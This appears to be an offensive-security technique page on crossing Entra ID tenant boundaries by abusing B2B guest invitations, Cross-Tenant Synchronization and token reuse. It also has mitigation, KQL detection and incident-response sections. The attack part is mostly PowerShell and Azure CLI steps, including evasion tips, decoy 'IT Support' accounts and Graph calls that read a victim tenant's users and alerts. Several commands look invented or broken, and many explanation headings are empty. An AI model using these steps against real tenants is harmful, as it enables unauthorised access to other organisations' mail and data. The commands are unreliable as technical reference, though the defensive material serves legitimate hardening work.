| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-012 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement, Privilege Escalation |
| Platforms | Entra ID (Azure AD) / M365 / Multi-tenant environments |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Entra ID all versions; Cross-Tenant Synchronization (CTS) 2023+ |
| Patched In | Partially mitigated (Jan 2025 policy tightening); Full remediation requires admin action |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Cross-Tenant B2B (Business-to-Business) access in Azure allows organizations to collaborate by inviting external users (guests) from partner tenants. An attacker who compromises a user account in an attacker-controlled tenant can exploit misconfigured Cross-Tenant Access Settings (CTAS) and Cross-Tenant Synchronization (CTS) policies to impersonate that user across to a target victim tenant. By leveraging Azure AD B2B invitation redemption and token reuse, the attacker can bypass tenant isolation boundaries and gain unauthorized access to victim’s resources, including mail, SharePoint, Teams, and Azure resources. This attack breaks fundamental cloud security assumptions about tenant isolation.
Attack Surface: Azure B2B External Identities configuration; Cross-Tenant Access Settings (inbound/outbound policies); Cross-Tenant Synchronization (CTS) policies; Azure AD Graph and Microsoft Graph APIs; OAuth token exchange mechanisms.
Business Impact: Compromise of tenant isolation and cross-organizational data access. An attacker can access another organization’s resources without authorization, exfiltrate sensitive data from victim tenants, maintain persistent access via B2B guest accounts, impersonate legitimate users across organizational boundaries, and potentially escalate to tenant-level administrative access. This is particularly devastating for Multi-Tenant SaaS providers and organizations with extensive B2B partnerships.
Technical Context: The attack exploits misconfigured B2B trust policies that are often enabled by default or with overly permissive settings. Modern Microsoft controls (implemented Jan 2025) require explicit per-tenant approval, but legacy configurations may still permit automatic guest acceptance. The attack is difficult to detect because traffic appears to originate from legitimate external user accounts and generates minimal audit anomalies.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | M365-1.1, M365-5.1 | External Identities and B2B collaboration policies |
| DISA STIG | C-3.1.2 | Multi-tenant access controls and external user management |
| CISA SCuBA | MS-1.1, MS-6.3 | Entra ID external collaboration settings and Conditional Access |
| NIST 800-53 | AC-2, AC-3, IA-2 | Account management, access control, authentication for external users |
| GDPR | Article 32 | Security of Processing - Data sharing with external parties |
| DORA | Article 9 | Protection and Prevention - Third-party risk management |
| NIS2 | Article 21 | Critical Infrastructure Protection - Third-party access controls |
| ISO 27001 | A.9.3.1, A.9.4.2 | User access rights and access review for external parties |
| ISO 27005 | Risk Scenario | Third-party breach and data exfiltration via B2B access |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Check if Organization Has B2B Enabled:
# Connect to target tenant (may not require credentials if part of public teams/sharepoint)
Connect-MgGraph -Scopes "ExternalIdentities.ReadWrite.All"
# Check External Identities settings
Get-MgPolicyExternalIdentityPolicy
# Check inbound B2B policies
Get-MgBetaCrossCloudTenantAccessPolicy -Filter "tenantId eq 'target-tenant-id'"
# List current guest users in tenant
Get-MgUser -Filter "userType eq 'Guest'" | Select-Object DisplayName, Mail, CreatedDateTime
What to Look For:
Check for Cross-Tenant Synchronization Abuse:
# Check if CTS is enabled with target tenant
Get-MgBetaCrossCloudTenantAccessPolicySyncPolicy |
Where-Object { $_.tenantId -eq "victim-tenant-id" }
# List all cross-tenant partners
Get-MgBetaCrossCloudTenantAccessPolicy | Select-Object TenantId, DisplayName
Version Note: Reconnaissance method is consistent across all Entra ID versions, though newer versions (2025+) have stricter default policies.
# Check for open Teams channels that allow guest access
$teams = Get-Team
foreach ($team in $teams) {
Get-TeamMember -GroupId $team.GroupId | Where-Object { $_.User -match "@domains.onmicrosoft.com" }
}
# Check SharePoint sites with guest access enabled
$sites = Get-SPOSite
foreach ($site in $sites) {
Get-SPOUser -Site $site.Url | Where-Object { $_.LoginName -match "Guest" }
}
Supported Versions: Entra ID all versions
Note: This is the most direct approach: attacker creates an account in their own tenant and invites it to victim’s Teams/SharePoint as a B2B guest.
Objective: Set up a free or cheap Microsoft 365 tenant to serve as the attacker’s base.
Manual Steps:
attacker@attacker-tenant.onmicrosoft.com)Connect-MgGraph -TenantId "attacker-tenant.onmicrosoft.com"
New-MgUser -DisplayName "Legitimate Partner" -MailNickname "partner.user" `
-UserPrincipalName "partner@attacker-tenant.onmicrosoft.com" `
-Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) `
-AccountEnabled $true
What This Means:
Objective: Identify victim tenant ID and find Teams/SharePoint resources that accept B2B guests.
Command (AADInternals - Tenant Discovery):
# Find tenant ID of victim organization
Get-AADIntTenantId -Domain "victim.com"
# Output: Tenant ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# Enumerate Teams that accept guests
Get-AADIntTeamGroups -Tenant "victim.onmicrosoft.com" |
Where-Object { $_.AllowGuestAccess -eq $true } |
Select-Object DisplayName, GroupId
Manual Step-by-Step (Alternative):
Objective: Create and redeem a B2B invitation to gain guest access to victim tenant.
Command (Azure CLI - Create B2B Guest):
# Create B2B guest invitation from attacker tenant
az invitations create \
--invited-user-email-address "partner@attacker-tenant.onmicrosoft.com" \
--invited-user-display-name "Partner User" \
--invitation-redirect-url "https://myapplications.microsoft.com" \
--send-invitation-message false
# Expected output:
# {
# "invitedUserEmailAddress": "partner@attacker-tenant.onmicrosoft.com",
# "inviteRedeemUrl": "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=..."
# }
What This Means:
Command (PowerShell - Redeem Invitation):
# Redeem the B2B invitation (can be automated or manual)
Connect-MgGraph -Scopes "Directory.ReadWrite.All"
# If CTAS allows AutomaticUserConsent, guest is auto-accepted
# Otherwise, send invitation URL to attacker account for manual redemption
$invitationUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=..."
# Attacker clicks URL and authenticates as attacker account
# Upon success: guest account created in victim tenant
OpSec & Evasion:
Objective: Use the guest account to access victim’s Teams, SharePoint, and other cloud resources.
Command (Access Teams Data):
# Connect to victim tenant as guest account
Connect-MgGraph -Scopes "Mail.Read", "Chat.Read"
# Enumerate accessible Teams and Channels
Get-MgTeam | Select-Object DisplayName, Id
# List channel messages (if guest has access)
Get-MgTeamChannelMessages -TeamId "team-id" -ChannelId "channel-id" |
Select-Object Body, From, CreatedDateTime | Head -20
# Access mailbox via EWS (if guest has mail access)
Get-MgUserMailFolderMessage -UserId "victim-user@victim.com" | Select-Object Subject, From
What This Means:
Manual Step-by-Step (User-Friendly):
OpSec & Evasion:
References & Proofs:
Supported Versions: Entra ID (CTS feature 2023+)
Note: More sophisticated approach for persistence; requires attacker to have Cloud Admin access in their tenant AND misconfigured CTS policy in victim tenant.
Objective: Configure CTS policy in attacker tenant to synchronize users into victim tenant.
Command (Azure CLI - Configure CTS Outbound):
# Create outbound CTS policy targeting victim tenant
az ad cross-cloud-tenant-access-policy create \
--tenant-id "victim-tenant-id" \
--display-name "Sync to Victim Tenant" \
--outbound-allowed true
# Enable automatic user consent
az ad cross-cloud-tenant-access-policy outbound-policy-update \
--tenant-id "victim-tenant-id" \
--automatic-user-consent true \
--sync-allowed true
# Expected: Policy created and enabled
What This Means:
Objective: Verify victim has inbound CTS enabled and accepts synced users from attacker tenant.
Command (Check Victim’s Inbound Settings):
# Connect to victim tenant as admin (if available) or enumerate publicly
Connect-MgGraph -Tenant "victim.onmicrosoft.com" -Scopes "Policy.ReadWrite.ExternalIdentities"
# Check inbound CTS from attacker tenant
Get-MgBetaCrossCloudTenantAccessPolicySyncPolicy -Filter "tenantId eq 'attacker-tenant-id'" |
Select-Object TenantId, IsUserSyncAllowed, AutomaticUserConsent
# If result shows:
# IsUserSyncAllowed: true
# AutomaticUserConsent: true
# → Attacker can push users without approval
What This Means:
Objective: Create high-privilege user accounts in attacker tenant and sync them to victim for persistent access.
Command (Create Synchronization User):
# In attacker tenant, create high-privilege accounts
New-MgUser -DisplayName "IT Support Team Lead" -MailNickname "itsupport" `
-UserPrincipalName "itsupport@attacker.onmicrosoft.com" `
-Password (ConvertTo-SecureString "SuperSecureP@ss123!" -AsPlainText -Force) `
-AccountEnabled $true
# Wait for CTS sync to propagate (30-60 minutes)
# User now appears in victim tenant with same UPN
What This Means:
itsupport@attacker.onmicrosoft.com is now a guest in victim tenantOpSec & Evasion:
References & Proofs:
Supported Versions: Entra ID all versions (legacy and modern)
Note: Advanced technique for extracting and reusing OAuth tokens across tenants.
Objective: Obtain an access token (JWT) from guest account that can be reused in victim tenant.
Command (AADInternals - Token Extraction):
Import-Module AADInternals
# Get cached access token for guest account
$token = Get-AADIntAccessToken -Tenant "victim.onmicrosoft.com" `
-ClientId "1b730954-1685-4b74-9bda-28787b6ba541" `
-IncludeUserInfo
# Display token contents
$token | Out-Host
# Expected: JWT token with claims for guest user in victim tenant
What This Means:
Objective: Use the extracted token to make Graph API calls to victim tenant resources.
Command (Use Token for Graph API):
# Use token to access Microsoft Graph in victim tenant
$header = @{"Authorization" = "Bearer $token"}
# List all users in victim tenant (if guest has permissions)
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users" -Headers $header |
Select-Object -ExpandProperty value
# Access victim's security alerts
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/security/alerts_v2" -Headers $header
# List sensitive Azure resources
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/subscriptions" -Headers $header
Expected Output:
[
{
"id": "12345678-1234-1234-1234-123456789012",
"displayName": "John Doe",
"userPrincipalName": "john.doe@victim.com",
"mail": "john.doe@victim.com"
},
...
]
What This Means:
References & Proofs:
Restrict B2B Guest Invitations to Approved Domains Only:
Applies To Versions: Entra ID all versions
Manual Steps (Azure Portal):
*.attacker.onmicrosoft.com, all personal Microsoft accounts)PowerShell Configuration:
Connect-MgGraph -Scopes "Policy.ReadWrite.ExternalIdentities"
# Set restriction policy
Update-MgPolicyExternalIdentityPolicy -AllowedDomainList @("partner1.com", "partner2.com") `
-AllowInvitesFrom "InvitedUsersAndGuests" `
-GuestUserRoleId "10dae51f-b6af-4016-8d66-8c2a99b929b3" # Guest Inviter role
Disable Cross-Tenant Synchronization (CTS) by Default:
Applies To Versions: Entra ID (CTS 2023+)
Manual Steps:
AutomaticUserConsent (require manual approval for each synced user)PowerShell Configuration:
# Disable CTS outbound sync
$cts = Get-MgBetaCrossCloudTenantAccessPolicy -Filter "tenantId eq 'partner-tenant-id'"
Update-MgBetaCrossCloudTenantAccessPolicy -CrossCloudTenantAccessPolicyId $cts.Id `
-SyncAllowed $false `
-AutomaticUserConsent $false
Enable Conditional Access Policy for B2B Guests:
Applies To Versions: Entra ID all versions
Manual Steps:
Restrict B2B Guest AccessAlternative (Less Restrictive):
Regular Guest Access Audit:
Applies To Versions: Entra ID all versions
Manual Steps (Monthly Review):
PowerShell Audit Script:
Connect-MgGraph -Scopes "User.Read.All", "AuditLog.Read.All"
# List guest accounts and their last sign-in
$guests = Get-MgUser -Filter "userType eq 'Guest'" -Property SignInActivity
foreach ($guest in $guests) {
$lastSignIn = $guest.SignInActivity.LastSignInDateTime
if ($lastSignIn -lt (Get-Date).AddDays(-90)) {
Write-Output "[!] Inactive guest: $($guest.DisplayName) - Last sign-in: $lastSignIn"
# Option: Remove-MgUser -UserId $guest.Id
}
}
Monitor B2B Invitation Activity:
Applies To Versions: Entra ID all versions
Manual Steps (Setup Alert):
AuditLogs
| where OperationName contains "Invite" or OperationName contains "B2B"
| where TimeGenerated > ago(1d)
| summarize count() by OperationName, InitiatedBy
| where count_ > 5
Restrict SharePoint/Teams Guest Access:
Manual Steps (SharePoint Admin Center):
Manual Steps (Teams Admin Center):
# Check B2B restrictions
Get-MgPolicyExternalIdentityPolicy | Select-Object `
AllowedDomains, GuestUserRole, InvitationRestrictions
# Expected: Only approved domains listed, Guest Inviter role restricted
# Check CTS is disabled for untrusted tenants
Get-MgBetaCrossCloudTenantAccessPolicy | Select-Object `
TenantId, SyncAllowed, AutomaticUserConsent
# Expected: SyncAllowed = $false for untrusted partners
# Check guest access audit
Get-MgUser -Filter "userType eq 'Guest'" | Measure-Object
# Expected: Small number; review each one
# Verify Conditional Access policy for guests
Get-MgIdentityConditionalAccessPolicy -Filter "contains(conditions/users/includeUsers, 'GuestOrExternalUser')" |
Select-Object DisplayName, State
# Expected: Policy exists and State = Enabled
IsSyncAllowed set to true without approval workflowIsolate Compromised Accounts:
Command:
# Immediately block guest account
Update-MgUser -UserId "guest-account-objectid" -AccountEnabled $false
# Or completely remove guest
Remove-MgUser -UserId "guest-account-objectid"
# If attacker has local admin, also revoke all tokens
Revoke-MgUserSignInSession -UserId "victim-account-objectid"
Manual (Azure Portal):
Collect Evidence:
Command:
# Export guest account creation log
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Invite external user'" |
Export-Csv -Path C:\Evidence\B2B-Invitations.csv
# Export all sign-ins by guest
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'guest@attacker.onmicrosoft.com'" |
Export-Csv -Path C:\Evidence\Guest-SignIns.csv
# Export file access by guest
Get-SPOActivity | Where-Object { $_.Actor -match "guest" } |
Export-Csv -Path C:\Evidence\Guest-FileAccess.csv
Remediate:
Command:
# Disable all untrusted CTS policies
$maliciousTenants = @("attacker-tenant-id-1", "attacker-tenant-id-2")
foreach ($tenant in $maliciousTenants) {
$cts = Get-MgBetaCrossCloudTenantAccessPolicy -Filter "tenantId eq '$tenant'"
Update-MgBetaCrossCloudTenantAccessPolicy -CrossCloudTenantAccessPolicyId $cts.Id `
-SyncAllowed $false -AutomaticUserConsent $false
}
# Reset Conditional Access policies to be more restrictive
# (See Priority 1 mitigation)
# Force re-authentication for all users in sensitive groups
Get-MgGroupMember -GroupId "sensitive-group-id" | ForEach-Object {
Revoke-MgUserSignInSession -UserId $_.Id
}
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-003] OAuth consent screen cloning | Attacker creates fake M365 tenant with legitimate branding |
| 2 | Credential Access | [CA-OAUTH-001] Device code phishing | Attacker tricks user into consenting to malicious app |
| 3 | Current Step | [LM-AUTH-012] | Cross-Tenant B2B Access - Exploit misconfigured CTS or B2B policies |
| 4 | Impact | [CA-EXFIL-003] Bulk email forwarding | Attacker sets up rule to exfiltrate all incoming emails |
| 5 | Persistence | [PERSIST-005] Backdoor guest account | Maintains access via non-audit-able guest account |
| 6 | Lateral Movement | [LM-AUTH-013] EWS impersonation as guest | Access additional mailboxes via guest service account |